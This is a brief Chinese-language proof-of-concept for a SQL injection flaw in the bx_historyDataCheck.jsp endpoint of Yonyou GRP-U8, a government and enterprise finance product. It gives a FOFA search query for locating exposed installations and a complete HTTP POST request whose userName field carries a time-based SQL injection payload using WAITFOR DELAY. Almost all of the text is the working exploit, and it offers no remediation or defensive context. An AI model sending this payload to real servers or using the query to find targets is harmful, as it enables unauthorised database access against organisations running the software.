用友 GRP-U8 bx_historyDataCheck.jsp SQL注入漏洞
fofa-qeury
app="yonyou-GRP-U8"
POC
POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
userName=';WAITFOR DELAY '0:0:5'--&ysnd=&historyFlag=